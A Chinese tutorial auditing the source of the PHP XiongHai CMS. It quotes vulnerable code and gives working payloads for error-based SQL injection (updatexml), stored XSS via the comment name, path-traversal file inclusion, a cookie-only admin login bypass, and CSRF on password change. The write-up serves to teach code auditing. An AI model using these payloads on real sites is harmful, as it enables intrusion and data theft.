前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >初级代码审计之熊海 CMS 源码审计

初级代码审计之熊海 CMS 源码审计

作者头像
信安之路
发布2019-05-28 19:08:50
1.4K0
发布2019-05-28 19:08:50
举报
文章被收录于专栏:信安之路信安之路

笔者为代码审计的小白,能看的懂 php 代码但是没有上手过,你要是和我一样的,那么我觉得这篇文章可以给你一个良好的开端。篇幅很长,所以也希望大家能够将源码下载下来实际操作一番。

环境:

熊海 CMS 源码 + phpstorm

我们首先来总结一下这篇文章所涉及的代码审计漏洞(为了多列出不同的漏洞,每一种漏洞这套 cms 都有数个,这里没有一一列举出来):

1、sql 注入(报错、时间盲注/get、post)

2、xss (存储)

3、文件包含

4、逻辑漏洞(后台登录绕过、CSRF)

cms 网上到处都有下载的,目录结构如下:

admin//后台文件 css//css 文件 files//功能函数文件 images//存放图片 inc//配置文件 install//安装文件 seacmseditor//第三方编辑器 template//模板文件 upload//文件上传目录 index.php//主目录 使用说明.txt//说明文件

报错注入_1

首先打开 index.php 文件:

代码语言:javascript
复制
<?php//单一入口模式error_reporting(0); //关闭错误显示$file=addslashes($_GET['r']); //接收文件名$action=$file==''?'index':$file; //判断为空或者等于 indexinclude('files/'.$action.'.php'); //载入相应文件?>

会接受一个 r 参数,然后跳转到 r.php 文件,r 为空则会包含 files/index.php 文件,跟踪这个文件:

files/index.php line 34

代码语言:javascript
复制
<a href="?r=content&cid=<?php echo $toutiaoimg['id']?>" title="<?php echo $toutiaoimg['title']?>"><img src="<?php echo $toutiaoimg['images']?>"></a>

这里有个 a 标签的跳转,接收 r=content,那么肯定就是包含了 content.php文件了,后面还有一个 cid ,我们来分析一下是什么。

代码语言:javascript
复制
<?php require 'inc/301.php';require 'inc/conn.php';require 'inc/time.class.php';$query = "SELECT * FROM settings";$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());$info = mysql_fetch_array($resul);?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title><?php echo $info['title']?></title><meta name="keywords" content="<?php echo $info['keywords']?>" /><meta name="description" content="<?php echo $info['description']?>" /><meta name="version" content="seacms V1.0.0310" /><?php require 'template/header.php';?><div class="barn"><div id="body"><div id="imgtext"><strong>Oh,Perfect</strong><span>个人免费开源程序倡导者</span></div><img src="images/banner.jpg"></div></div><div id="body"><div class="div1"><div class="toutiaoimg"><?php$query = "SELECT * FROM content WHERE images<>'' AND xs=1 ORDER BY id DESC  LIMIT 1";$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());$toutiaoimg = mysql_fetch_array($resul);

跟踪这个 $toutiaoimg, 发现是从数据库中查询 "SELECT * FROM settings" 结果中的一个 cid 值:

这里的 id 值为 1 了,那么跳转的 url 就是

http://127.0.0.1/index.php?r=content&cid=1

这里我们继续跟踪 content.php 文件。

代码语言:javascript
复制
<?php require 'inc/conn.php';require 'inc/time.class.php';$query = "SELECT * FROM settings";$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());$info = mysql_fetch_array($resul);
$id=addslashes($_GET['cid']);$query = "SELECT * FROM content WHERE id='$id'";$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());$content = mysql_fetch_array($resul);
$navid=$content['navclass'];$query = "SELECT * FROM navclass WHERE id='$navid'";$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());$navs = mysql_fetch_array($resul);
//浏览计数$query = "UPDATE content SET hit = hit+1 WHERE id=$id";@mysql_query($query) or die('修改错误:'.mysql_error());?><?php$query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1)");$pinglunzs = mysql_num_rows($query)?>

这里有很多将参数代入查询的语句,发现 cid 开始做了 addslashes 处理,这种情况就只能看是否是 GBK 的方式连接数据库来进行宽字节注入了,那个用引号包裹起来的cid就比较的鸡肋,那有没有没有被引号包裹起来的呢。

line 19

代码语言:javascript
复制
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";

这里是一个 UPDATE 语句查询,很明显有注入了。对于 update 注入,很明显涉及到我的知识盲区了,仔细分析一下:

and 1=1 //正确 and 1=2 //正确 and sleep(5)//延时成功

老办法,看大牛文章,然后看脑子它吸收不吸收了,主要是盲注和报错注入。

代码语言:javascript
复制
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

原理可以看一下 updatexml 语法,基本上可以理解为我们写入的参数执行后不符合规定的逻辑而报错。

那么我们这里的整体的 payload 就是:

http://127.0.0.1/index.php?r=content&cid=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

这里能运用报错注入还有一个条件,就是要有回显

代码语言:javascript
复制
@mysql_query($query) or die('修改错误:'.mysql_error());

当然,这里利用时间盲注也是可以的,笔者认为报错注入比较直观,时间盲注这一部分就不写了。

报错注入_2

我们继续往下看,有一个 form 表单提交的地方:

line 153-172

代码语言:javascript
复制
<div id="plbt"><strong>→ 和谐网络,文明发言!</strong>发表评论:</div><form  name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>"><input name="cid" type="hidden" value="<?php echo $id?>"/><ul><li><span>昵称</span><input name="name" type="text" value="<?php echo $_COOKIE['name']?>" /></li><li><span>邮箱</span><input name="mail" type="text" value="<?php echo $_COOKIE['mail']?>"/></li><li><span>网址</span><input name="url" type="text" value="<?php echo $_COOKIE['url']?>"/></li><textarea name="content" cols="" rows=""></textarea><input name="save" type="submit"  value="提交" id="input2"/><div id="code"><span>验证码</span><input name="randcode" type="text" /> <span id="yspan"><img src="../inc/code.class.php" onClick="this.src=this.src+'?'+Math.random();" title="看不清楚?点击刷新验证码?"></span></div><div id="xx"><span><input name="jz" type="checkbox" value="1" checked="checked"/> 记住我的个人信息</span><span><input name="tz" type="checkbox" value="1" checked="checked"/> 回复后邮件通知我</span></div>
<div id="qcfd"></div></ul></form></div>

请求为 r=submit,所以定位到 submit.php

代码语言:javascript
复制
<?phpsession_start();require 'inc/conn.php';$type=addslashes($_GET['type']);$name=$_POST['name'];$mail=$_POST['mail'];$url=$_POST['url'];$content=$_POST['content'];$cid=$_POST['cid'];$ip=$_SERVER["REMOTE_ADDR"];$tz=$_POST['tz'];if ($tz==""){$tz=0;}$jz=$_POST['jz'];

除了 type,其他的参数都没有进行转换,继续找 sql 语句 (line 66)

代码语言:javascript
复制
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());

好了,很容易写 payload 了吧:

1111@qq.com') and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+

报错注入_3

接着 submit.php 往下看,看到了一个 insert into 的语句吧:

代码语言:javascript
复制
$query = "INSERT INTO interaction (type,xs,cid,name,mail,url,touxiang,shebei,ip,content,tz,date) VALUES ('$type','$xs','$cid','$name','$mail','$url','$touxiang','$shebei','$ip','$content','$tz',now())";@mysql_query($query) or die('新增错误:'.mysql_error());****

line 121-148

这里一样的由于前面没有对这些参数进行过滤,这里将参数直接 insert 插入到数据库当中,试试 insert 注入:

asdsad' or updatexml(1,concat(0x7e,(database())),0) or'

报错注入_4

上面看 content 这一块代码基本上就弄完了,我们继续看看其他的功能点,主页上还有下载的功能:

url 的链接为:

http://127.0.0.1/?r=software&cid=1

我们就打开 software.php , 要是你看懂了上面的文章的话,看到里面的源码基本上就能直接的看出注入点了:

line 7 对 cid 参数进行了 addslashes 处理

line 8-9 有利用的条件,但是 sql 语句中加上了引号显得比较的鸡肋

line 13-14 可以利用

这套 CMS 还存在其他的一些注入,笔者由于篇幅原因就不一一列举出来了,对于挖掘 sql 注入的审计,只要将参数代入了 sql 语句的地方都可以进行尝试,接下来看看其他的一些漏洞吧。

XSS

这里是留言的地方出现了问题,弹出的框框如下:

我们来分析一下原理:

files/content.php(line 107-119)

代码语言:javascript
复制
<div class="userinfo"><div class="lou">#<?php echo $pinglun['id']?> 楼</div><?php if ($pinglun['url']<>""){?> <a href="<?php echo $pinglun['url']?>" target="_blank" ><img src="upload/portrait/<?php echo $pinglun['touxiang']?>.jpg"></a><?php }else{?> <img src="upload/portrait/<?php echo $pinglun['touxiang']?>.jpg"><?php }?><strong><a href="<?php echo $pinglun['url']?>" target="_blank"><?php echo $pinglun['name']?></a><span>Lv 1</span></strong><li>位置:<a><?php echo $pinglun['ip']?></a></li><li>时间:<a><?php echo tranTime(strtotime($pinglun['date']))?></a></li><li>来自:<a><?php echo $pinglun['shebei']?></a></li></div><div class="content">

这里是从 $pinglun 这个变量中取出其中的信息,跟踪这个变量到了 line100-101

代码语言:javascript
复制
$query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1) ORDER BY id  DESC LIMIT 5");$pinglunzs = mysql_num_rows($query);

这里的 interaction 表就是存储评论信息的地方了。

那么是怎么写进去的呢,我们评论抓包看一下:

这里看提交的 url 是 r=submit,那么我们就要在 submit.php 中看看了, line121-147:

代码语言:javascript
复制
$query = "INSERT INTO interaction (type,xs,cid,name,mail,url,touxiang,shebei,ip,content,tz,date) VALUES ('$type','$xs','$cid','$name','$mail','$url','$touxiang','$shebei','$ip','$content','$tz',now())";

这里并没有做任何处理

但是这里只有 name 处有 xss,为什么 content 没有呢,肯定做了一些处理,大家可以自行寻找一下

submit.php line48

代码语言:javascript
复制
$content= addslashes(strip_tags($content));//过滤HTML

就是这里做了处理,strip_tags 函数除去了 html 标签,同理还可以挖到很多一样的漏洞

文件包含

其实这个漏洞就在 index.php 中:

代码语言:javascript
复制
<?php//单一入口模式error_reporting(0); //关闭错误显示$file=addslashes($_GET['r']); //接收文件名$action=$file==''?'index':$file; //判断为空或者等于indexinclude('files/'.$action.'.php'); //载入相应文件?>

这里的 r 参数接受文件名,访问 files/$file.php

那么我们在根目录下面新建一个 1.php

代码语言:javascript
复制
<?phpphpinfo();?>

访问:

http://127.0.0.1/index.php?r=../1

这里对输入的 r 参数有一个 addslashes 转义,但是并没有什么用。

后台登录绕过

这里后台地方出现了问题哦,访问 url:

http://127.0.0.1/admin/?r=login

我们看一下 admin/files/login.php,一眼就看出来了登陆处注入吧。

注入我们不管了,看看其他的地方,发现 login.php 走不通了,看看其他的 php 文件:

代码语言:javascript
复制
require '../inc/checklogin.php';

发现了这个有趣的东西

代码语言:javascript
复制
<?php$user=$_COOKIE['user'];if ($user==""){    header("Location: ?r=login");    exit;}?>

这段代码就是在 cookie 中寻找到 user 的值,若 user 为空,则跳转到登录页面。

这里就很有趣了,刚开始以为要将 $user 的值代入数据库中查询,搜了半天没找到语句,然后测试了一下,只要 user 的值存在,就可以绕过直接进入后台。

CSRF

后台功能点不多,基本上管理员操作的功能都存在 CSRF,我们来分析一下他的源码。

后台修改密码处,包含文件 manage.php

代码语言:javascript
复制
<?phprequire '../inc/checklogin.php';require '../inc/conn.php';$setopen='class="open"';$query = "SELECT * FROM manage";$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());$manage = mysql_fetch_array($resul);
$save=$_POST['save'];
$user=$_POST['user'];$name=$_POST['name'];$password=$_POST['password'];$password2=$_POST['password2'];$img=$_POST['img'];$mail=$_POST['mail'];$qq=$_POST['qq'];
if ($save==1){    if ($user==""){echo "<script>alert('抱歉,帐号不能为空。');history.back()</script>";exit;  }  if ($name==""){echo "<script>alert('抱歉,名称不能为空。');history.back()</script>";exit;  }if ($password<>$password2){echo "<script>alert('抱歉,两次密码输入不一致!');history.back()</script>";exit;  }

没有使用 token,也没有要求初始密码,只是判断了两次密码是否相同。利用 burpsuite 写好 CSRF poc,就可以利用了。

总结

这套 CMS,上面列举的漏洞有很多,属于基本上没什么防护机制,在审计的时候比较简单,对漏洞产生的原理有更深的见解,希望大家也能够有耐心的去学习。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-05-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 报错注入_1
  • 报错注入_2
  • 报错注入_3
  • 报错注入_4
  • XSS
  • 文件包含
  • 后台登录绕过
  • CSRF
  • 总结
相关产品与服务
验证码
腾讯云新一代行为验证码(Captcha),基于十道安全栅栏, 为网页、App、小程序开发者打造立体、全面的人机验证。最大程度保护注册登录、活动秒杀、点赞发帖、数据保护等各大场景下业务安全的同时,提供更精细化的用户体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档